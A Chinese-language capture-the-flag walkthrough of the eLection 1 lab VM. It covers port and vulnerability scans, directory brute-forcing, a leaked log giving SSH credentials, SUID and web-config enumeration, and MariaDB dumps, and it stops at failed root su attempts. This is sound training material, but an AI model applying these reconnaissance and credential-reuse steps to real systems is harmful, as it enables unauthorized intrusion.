eLection_1 靶机 信息收集 1 2 3 4 5 6 7 8 9 10 11 12 ┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.128 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 11:38 EDT Nmap scan report for 192.168.56.128 Host is up (0.00067s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:FE:C8:1D (Oracle VirtualBox virtual NIC) Nmap done : 1 IP address (1 host up) scanned in 9.04 seconds
开放了 22 端口和 80 端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p22,80 192.168.56.128 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 11:39 EDT Nmap scan report for 192.168.56.128 Host is up (0.00052s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA) | 256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA) |_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:FE:C8:1D (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type : general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 14.53 seconds
Ubuntu 操作系统,80 端口是 apache 搭建的,首页是 apache2 的默认界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~] └─$ sudo nmap --script=vuln -p22,80 192.168.56.128 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 11:41 EDT Nmap scan report for 192.168.56.128 Host is up (0.00054s latency). PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn' t find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /robots.txt: Robots file | /phpinfo.php: Possible information file |_ /phpmyadmin/: phpMyAdmin MAC Address: 08:00:27:FE:C8:1D (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 37.52 seconds
漏洞脚本扫描得到了 robots.txt
, phpinfo.php
, phpmyadmin
目录爆破 打开 robots.txt 查看,并使用 dirsearch 进行目录爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ┌──(kali㉿kali)-[~/Downloads/eLection_1] └─$ sudo dirsearch -u http://192.168.56.128 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /root/.dirsearch/reports/192.168.56.128/_23-07-11_11-46-56.txt Error Log: /root/.dirsearch/logs/errors-23-07-11_11-46-56.log Target: http://192.168.56.128/ [11:46:56] Starting: [11:46:57] 403 - 279B - /.ht_wsr.txt [11:46:57] 403 - 279B - /.htaccess.bak1 [11:46:57] 403 - 279B - /.htaccess.save [11:46:57] 403 - 279B - /.htaccess.sample [11:46:57] 403 - 279B - /.htaccess.orig [11:46:57] 403 - 279B - /.htaccessBAK [11:46:57] 403 - 279B - /.htaccess_sc [11:46:57] 403 - 279B - /.htaccess_extra [11:46:57] 403 - 279B - /.htaccessOLD2 [11:46:57] 403 - 279B - /.htaccess_orig [11:46:57] 403 - 279B - /.htaccessOLD [11:46:57] 403 - 279B - /.htm [11:46:57] 403 - 279B - /.html [11:46:57] 403 - 279B - /.htpasswds [11:46:57] 403 - 279B - /.htpasswd_test [11:46:57] 403 - 279B - /.httr-oauth [11:46:58] 403 - 279B - /.php [11:47:16] 200 - 11KB - /index.html [11:47:16] 301 - 321B - /javascript -> http://192.168.56.128/javascript/ [11:47:21] 200 - 13KB - /phpmyadmin/doc/html/index.html [11:47:22] 301 - 321B - /phpmyadmin -> http://192.168.56.128/phpmyadmin/ [11:47:22] 200 - 94KB - /phpinfo.php [11:47:23] 200 - 10KB - /phpmyadmin/ [11:47:23] 200 - 10KB - /phpmyadmin/index.php [11:47:25] 200 - 30B - /robots.txt [11:47:25] 403 - 279B - /server-status/ [11:47:25] 403 - 279B - /server-status
目录爆破并没有得到有效信息,而 robots.txt 给出了一些看起来可能是目录的东西
依次手动尝试发现只有 election 目录可以访问
是一个投票系统,提示注册成为 admin,然后在下方输入投票代码,尝试输入了一下发现只有五个字符才会有验证码错误的提示
1 Voter's Code is incorrect! Please check or re-register!
burp 抓包发现
POST 请求发向另一个 php 文件,并且 election 目录下似乎有别的目录,尝试再一次目录爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ┌──(kali㉿kali)-[~] └─$ sudo dirsearch -u http://192.168.56.128/election/ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /root/.dirsearch/reports/192.168.56.128/-election-_23-07-15_04-29-09.txt Error Log: /root/.dirsearch/logs/errors-23-07-15_04-29-09.log Target: http://192.168.56.128/election/ [04:29:09] Starting: [04:29:09] 301 - 322B - /election/js -> http://192.168.56.128/election/js/ [04:29:10] 403 - 279B - /election/.ht_wsr.txt [04:29:10] 403 - 279B - /election/.htaccess.bak1 [04:29:10] 403 - 279B - /election/.htaccess_extra [04:29:10] 403 - 279B - /election/.htaccess.orig [04:29:10] 403 - 279B - /election/.htaccess_sc [04:29:10] 403 - 279B - /election/.htaccess.save [04:29:10] 403 - 279B - /election/.htaccess_orig [04:29:10] 403 - 279B - /election/.htaccessOLD2 [04:29:11] 403 - 279B - /election/.htaccessBAK [04:29:11] 403 - 279B - /election/.htaccess.sample [04:29:11] 403 - 279B - /election/.html [04:29:11] 403 - 279B - /election/.htaccessOLD [04:29:11] 403 - 279B - /election/.htm [04:29:11] 403 - 279B - /election/.htpasswds [04:29:11] 403 - 279B - /election/.htpasswd_test [04:29:11] 403 - 279B - /election/.httr-oauth [04:29:11] 403 - 279B - /election/.php [04:29:16] 301 - 325B - /election/admin -> http://192.168.56.128/election/admin/ [04:29:16] 200 - 9KB - /election/admin/?/login [04:29:16] 403 - 279B - /election/admin/.htaccess [04:29:16] 200 - 9KB - /election/admin/ [04:29:17] 200 - 9KB - /election/admin/index.php [04:29:17] 200 - 985B - /election/admin/logs/ [04:29:25] 301 - 324B - /election/data -> http://192.168.56.128/election/data/ [04:29:25] 200 - 766B - /election/data/ [04:29:29] 200 - 7KB - /election/index.php [04:29:29] 200 - 7KB - /election/index.php/login/ [04:29:30] 200 - 989B - /election/js/ [04:29:30] 301 - 329B - /election/languages -> http://192.168.56.128/election/languages/ [04:29:30] 301 - 323B - /election/lib -> http://192.168.56.128/election/lib/ [04:29:30] 200 - 967B - /election/lib/ [04:29:32] 301 - 325B - /election/media -> http://192.168.56.128/election/media/ [04:29:32] 200 - 2KB - /election/media/ [04:29:41] 200 - 964B - /election/themes/ [04:29:41] 301 - 326B - /election/themes -> http://192.168.56.128/election/themes/
发现了很多目录,尝试访问 admin/index.php
似乎需要输入 admin 的 id,随便输入了一下,发现提示
看来不一定能使用爆破了(后续 burp 抓包发现这是 js 文件根据请求包字段做的限制,其实可以绕过)。再看看别的目录,data 目录
logs 目录
日志文件泄露 有个日志文件下载下来看看
1 2 3 [2020 -01 -01 00 :00 :00 ] Assigned Password for the user love: P@$$w0rd@123 [2020 -04 -03 00 :13 :53 ] Love added candidate 'Love' . [2020 -04 -08 19 :26 :34 ] Love has been logged in from Unknown IP on Firefox (Linux).
ssh 登录 竟然在这里拿到了用户名和密码,尝试 ssh 登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ┌──(kali㉿kali)-[~] └─$ ssh love@192.168.56.128 love@192.168.56.128\'s password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 74 packages can be updated. 28 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Your Hardware Enablement Stack (HWE) is supported until April 2023. Last login: Fri Jul 14 19:22:22 2023 from 192.168.56.106 love@election:~$ id uid=1000(love) gid=1000(love) groups=1000(love),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare) love@election:~$ whoami love love@election:~$ uname -a Linux election 5.3.0-46-generic #38~18.04.1-Ubuntu SMP Tue Mar 31 04:17:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux love@election:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:fe:c8:1d brd ff:ff:ff:ff:ff:ff inet 192.168.56.128/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3 valid_lft 539sec preferred_lft 539sec inet6 fe80::321e:9192:79f9:852/64 scope link noprefixroute valid_lft forever preferred_lft forever love@election:~$ sudo -l [sudo] password for love: Sorry, user love may not run sudo on election.
基础的信息收集顺便也完成了
提权 看看用户家目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 love@election:~$ ls -liah total 100K 295199 drwsrwxrwx 18 love love 4.0K May 27 2020 . 262146 drwxr-xr-x 3 root root 4.0K Apr 9 2020 .. 262955 -rw------- 1 love love 1.3K Jul 15 13:47 .bash_history 400690 drwxrwxrwx 15 love love 4.0K Apr 8 2020 .cache 400783 drwxrwxrwx 14 love love 4.0K May 26 2020 .config 408810 drwxrwxrwx 3 love love 4.0K Oct 20 2019 .dbus 400951 drwxrwxrwx 2 love love 4.0K Apr 9 2020 Desktop 400955 drwxrwxrwx 2 love love 4.0K Apr 8 2020 Documents 400952 drwxrwxrwx 2 love love 4.0K Oct 20 2019 Downloads 400570 drwxrwxrwx 3 love love 4.0K Oct 20 2019 .gnupg 295196 drwxrwxrwx 2 love love 4.0K Oct 20 2019 .gvfs 282869 -rwxrwxrwx 1 love love 9.7K May 27 2020 .ICEauthority 400693 drwxrwxrwx 3 love love 4.0K Oct 20 2019 .local 262892 drwxrwxrwx 5 love love 4.0K Apr 2 2020 .mozilla 400956 drwxrwxrwx 2 love love 4.0K Oct 20 2019 Music 400957 drwxrwxrwx 2 love love 4.0K Oct 21 2019 Pictures 270979 -rwxrwxrwx 1 love love 807 Oct 20 2019 .profile 400954 drwxrwxrwx 2 love love 4.0K Oct 20 2019 Public 282936 -rwxrwxrwx 1 love love 66 Oct 20 2019 .selected_editor 283509 -rw-rw-r-- 1 love love 83 May 26 2020 .Serv-U-Tray.conf 406263 drwxrwxrwx 2 love love 4.0K Oct 20 2019 .ssh 282870 -rwxrwxrwx 1 love love 0 Oct 20 2019 .sudo_as_admin_successful 400953 drwxrwxrwx 2 love love 4.0K Oct 20 2019 Templates 400958 drwxrwxrwx 2 love love 4.0K Oct 20 2019 Videos
对各个文件夹进行信息收集,在 Desktop 目录中发现了 user.txt
,尝试在 .mozilla
看看有没有可能存储了保存的密码,很可惜并没有,借助于 gpt 可以迅速感知各个文件夹的作用,方便信息筛选。看看定时任务和 SUID 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 love@election:/var/www/html/election/admin/ajax$ find / -type f -perm -04000 -ls 2>/dev/null 199 24 -rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping 950 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd 1056 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 1443 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils 892 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /usr/bin/newgrp 275 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /usr/bin/chsh 273 76 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /usr/bin/chfn 530 76 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /usr/bin/gpasswd 5281 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo 3127 376 -rwsr-xr-- 1 root dip 382696 Feb 11 2020 /usr/sbin/pppd 396554 6172 -rwsr-xr-x 1 root root 6319088 Nov 29 2017 /usr/local/Serv-U/Serv-U 6947 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 2605 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 6907 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign 2304 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 277 12 -rwsr-sr-x 1 root root 10232 Dec 18 2019 /usr/lib/xorg/Xorg.wrap 262203 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 262276 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping 262201 28 -rwsr-xr-x 1 root root 26696 Mar 5 2020 /bin/umount 262188 44 -rwsr-xr-x 1 root root 43088 Mar 5 2020 /bin/mount 262304 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su 66 40 -rwsr-xr-x 1 root root 40152 Aug 23 2019 /snap/core/7917/bin/mount 80 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /snap/core/7917/bin/ping 81 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /snap/core/7917/bin/ping6 98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7917/bin/su 116 27 -rwsr-xr-x 1 root root 27608 Aug 23 2019 /snap/core/7917/bin/umount 2657 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7917/usr/bin/chfn 2659 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7917/usr/bin/chsh 2735 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7917/usr/bin/gpasswd 2827 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7917/usr/bin/newgrp 2840 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7917/usr/bin/passwd 2950 134 -rwsr-xr-x 1 root root 136808 Jun 11 2019 /snap/core/7917/usr/bin/sudo 3049 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2019 /snap/core/7917/usr/lib/dbus-1.0/dbus-daemon-launch-helper 3419 419 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7917/usr/lib/openssh/ssh-keysign 6454 105 -rwsr-sr-x 1 root root 106696 Oct 1 2019 /snap/core/7917/usr/lib/snapd/snap-confine 7628 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7917/usr/sbin/pppd 66 40 -rwsr-xr-x 1 root root 40152 May 16 2019 /snap/core/7270/bin/mount 80 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /snap/core/7270/bin/ping 81 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /snap/core/7270/bin/ping6 98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7270/bin/su 116 27 -rwsr-xr-x 1 root root 27608 May 16 2019 /snap/core/7270/bin/umount 2657 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7270/usr/bin/chfn 2659 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7270/usr/bin/chsh 2735 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7270/usr/bin/gpasswd 2827 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7270/usr/bin/newgrp 2840 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7270/usr/bin/passwd 2950 134 -rwsr-xr-x 1 root root 136808 Jun 11 2019 /snap/core/7270/usr/bin/sudo 3049 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2019 /snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper 3419 419 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7270/usr/lib/openssh/ssh-keysign 6452 101 -rwsr-sr-x 1 root root 102600 Jun 21 2019 /snap/core/7270/usr/lib/snapd/snap-confine 7622 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7270/usr/sbin/pppd 55 43 -rwsr-xr-x 1 root root 43088 Oct 16 2018 /snap/core18/1066/bin/mount 64 63 -rwsr-xr-x 1 root root 64424 Mar 10 2017 /snap/core18/1066/bin/ping 80 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /snap/core18/1066/bin/su 98 27 -rwsr-xr-x 1 root root 26696 Oct 16 2018 /snap/core18/1066/bin/umount 1720 75 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /snap/core18/1066/usr/bin/chfn 1722 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /snap/core18/1066/usr/bin/chsh 1772 75 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /snap/core18/1066/usr/bin/gpasswd 1836 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /snap/core18/1066/usr/bin/newgrp 1848 59 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /snap/core18/1066/usr/bin/passwd 1939 146 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /snap/core18/1066/usr/bin/sudo 2026 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core18/1066/usr/lib/dbus-1.0/dbus-daemon-launch-helper 2334 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1066/usr/lib/openssh/ssh-keysign 55 43 -rwsr-xr-x 1 root root 43088 Aug 23 2019 /snap/core18/1223/bin/mount 64 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1223/bin/ping 80 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /snap/core18/1223/bin/su 98 27 -rwsr-xr-x 1 root root 26696 Aug 23 2019 /snap/core18/1223/bin/umount 1730 75 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /snap/core18/1223/usr/bin/chfn 1732 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /snap/core18/1223/usr/bin/chsh 1782 75 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /snap/core18/1223/usr/bin/gpasswd 1846 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /snap/core18/1223/usr/bin/newgrp 1858 59 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /snap/core18/1223/usr/bin/passwd 1949 146 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /snap/core18/1223/usr/bin/sudo 2036 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core18/1223/usr/lib/dbus-1.0/dbus-daemon-launch-helper 2344 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1223/usr/lib/openssh/ssh-keysign
好像并没有很值得注意的地方,/usr/local/Serv-U/Serv-U
文件似乎有点特殊。不过 gtfobins 中没有它的利用,先看看别的吧,去找找网站目录配置文件的数据库密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 love@election:/var/www/html$ ls -liah total 32K 406326 drwxrwxrwx 3 www-data www-data 4.0K May 27 2020 . 406325 drwxrwxr-x 4 www-data www-data 4.0K Oct 21 2019 .. 394552 drwxrwxrwx 9 www-data www-data 4.0K Apr 9 2020 election 405623 -rwxrwxrwx 1 www-data www-data 11K Oct 20 2019 index.html 408195 -rwxrwxrwx 1 www-data www-data 21 Oct 20 2019 phpinfo.php 400981 -rwxrwxrwx 1 root root 30 Apr 2 2020 robots.txt love@election:/var/www/html$ cd election love@election:/var/www/html/election$ ls -liah total 100K 394552 drwxrwxrwx 9 www-data www-data 4.0K Apr 9 2020 . 406326 drwxrwxrwx 3 www-data www-data 4.0K May 27 2020 .. 405922 drwxr-xr-x 10 www-data www-data 4.0K Apr 3 2020 admin 395544 -rw-r--r-- 1 love love 1.9K Apr 9 2020 card.php 407959 drwxr-xr-x 2 www-data www-data 4.0K Apr 3 2020 data 407960 -rw-r--r-- 1 www-data www-data 4.7K Apr 3 2020 favicon.png 394559 -rwxrwxrwx 1 www-data www-data 83 Apr 3 2020 .htaccess 407961 -rw-r--r-- 1 www-data www-data 455 Apr 3 2020 index.php 407962 drwxr-xr-x 2 www-data www-data 4.0K Apr 3 2020 js 407964 drwxr-xr-x 4 www-data www-data 4.0K Apr 3 2020 languages 408189 drwxr-xr-x 2 www-data www-data 4.0K Apr 3 2020 lib 394553 -rwxrwxrwx 1 www-data www-data 35K Feb 28 2019 license.tp 408191 drwxr-xr-x 6 www-data www-data 4.0K Apr 3 2020 media 408201 -rw-r--r-- 1 www-data www-data 1.1K Apr 3 2020 pemilihan.php 408465 drwxr-xr-x 3 www-data www-data 4.0K Apr 3 2020 themes 412336 -rw-r--r-- 1 www-data www-data 97 Apr 3 2020 version.tp
依次查看文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 love@election:/var/www/html/election$ cat version.tp { "codename" : "Arctic Fox" , "major" : 2, "minor" : 0, "released_date" : "2019-03-06 00:00:00" } love@election:/var/www/html/election$ cat card.php 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110001 00110000 00110000 00100000 00110000 00110000 00110000 00110000 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110000 00110000 00100000 00110000 00110001 00110001 00110000 00110000 00110000 00110000 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110001 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110000 00110001 00110001 00110000 00110001 00110000 00100000 00110000 00110001 00110001 00110001 00110001 00110000 00110000 00110000 00100000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110000 00110001 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110000 00100000 00110000 00110000 00110001 00110001 00110000 00110000 00110001 00110001 00100000 00110000 00110000 00110001 00110000 00110000 00110000 00110000 00110001 00100000 00110000 00110001 00110000 00110000 00110000 00110000 00110000 00110000 00100000 00110000 00110000 00110001 00110000 00110000 00110000 00110001 00110001 love@election:/var/www/html/election$ cat .htaccess Options -Indexes RewriteEngine on RewriteRule ^admin/logs/system.log admin/logs.php love@election:/var/www/html/election$ cat index.php <?php if (!file_exists("./admin/inc/conn.php" )){ header("Location: ./install/?_rdr" ); exit (); } require "./lib/homeAPI.php" ; $home = new homeAPI(); $localize = $home -> localize(); if ($home -> isRegistered()){ echo "$localize [alert_redirecting]<script>setTimeout(function(){top.location='./pemilihan.php?_loggedin';},1000)</script>" ; exit (); } include $home -> getThemeFile("home.php" ); $home -> db_disconnect(); ?>
index.php 文件中提到了一个文件 ./admin/inc/conn.php
,根据名字猜测应该是数据库连接配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 love@election:/var/www/html/election$ cat pemilihan.php <?php if (!file_exists("./admin/inc/conn.php" )){ header("Location: ./install/?_rdr" ); exit (); } require "./lib/homeAPI.php" ; $election = new homeAPI(); $localize = $election -> localize(); if ($election -> isRegistered() == false ){ echo "$localize [alert_acces_denied]<script>setTimeout(function(){top.location='./?_nosession';},1000)</script>" ; exit (); } $timeNow = strtotime($election -> getCurrentTimestamp()); $timeExp = strtotime($_SESSION ['os_pemilih_kadaluarsa' ]); if ($timeNow > $timeExp ){ unset ($_SESSION ['os_pemilih' ],$_SESSION ['os_pemilih_kadaluarsa' ],$_SESSION ['os_pemilih_panitia' ]); echo "$localize [alert_session_expired]<script>setTimeout(function(){top.location='./?_nosession';},1000)</script>" ; exit (); } $countdown = "<span id=\"waktu\" data-kadaluarsa=\"$_SESSION [os_pemilih_kadaluarsa]\" data-multivote=\"" .$election -> getSettings("multivote" )."\">$localize [text_loading]</span>" ; include $election -> getThemeFile("election.php" ); $election -> db_disconnect(); ?>
的确有数据库用户名和密码,尝试进入数据库看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 love@election:/var/www/html/election/admin/inc$ mysql -unewuser -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 7874 Server version: 10.1.44-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help . Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | election | | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec) MariaDB [(none)]> use election Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [election]> show tables; +--------------------+ | Tables_in_election | +--------------------+ | tb_guru | | tb_hakpilih | | tb_kandidat | | tb_level | | tb_panitia | | tb_pengaturan | | tb_polling | | tb_siswa | +--------------------+ 8 rows in set (0.00 sec) MariaDB [election]> select * from tb_guru; Empty set (0.00 sec) MariaDB [election]> select * from tb_hakpilih; Empty set (0.00 sec) MariaDB [election]> select * from tb_kandidat; +----+------+-------+--------+------+ | id | nama | kelas | bio | fbid | +----+------+-------+--------+------+ | 76 | Love | 1 | admin1 | | +----+------+-------+--------+------+ 1 row in set (0.00 sec) MariaDB [election]> select * from tb_level; +----+---------------+ | id | level | +----+---------------+ | 1 | Administrator | | 2 | Registrator | | 3 | Inspector | +----+---------------+ 3 rows in set (0.00 sec) MariaDB [election]> select * from tb_panitia; +----+----------+------+-------+----------------------------------+ | id | no_induk | nama | level | password | +----+----------+------+-------+----------------------------------+ | 1 | 1234 | Love | 1 | bb113886b0513a9d882e3caa5cd73314 | +----+----------+------+-------+----------------------------------+ 1 row in set (0.00 sec) MariaDB [election]> select * from tb_pengaturan; +----+----------+---------------------------+------------------+--------+-----------+----------+-------------+------------------+---------------------+----------+------------------+---------+---------+---------+ | id | judul | subjudul | instansi | themes | multivote | nullvote | enable_poll | election_timeout | disabled_text | timezone | default_language | logging | v_major | v_minor | +----+----------+---------------------------+------------------+--------+-----------+----------+-------------+------------------+---------------------+----------+------------------+---------+---------+---------+ | 1 | eLection | Web Based Election System | Tripath Projects | shards | 1 | 0 | 1 | 5 minutes | Election is closed. | default | en-us | 1 | 2 | 0 | +----+----------+---------------------------+------------------+--------+-----------+----------+-------------+------------------+---------------------+----------+------------------+---------+---------+---------+ 1 row in set (0.00 sec)
拿到了一个新的密码,结合数据库链接密码,尝试进行密码碰撞,看看 root 的密码有没有可能是其中之一
1 2 3 4 5 6 love@election:/var/www/html/election/admin/inc$ su - Password: su: Authentication failure love@election:/var/www/html/election/admin/inc$ su - Password: su: Authentication failure
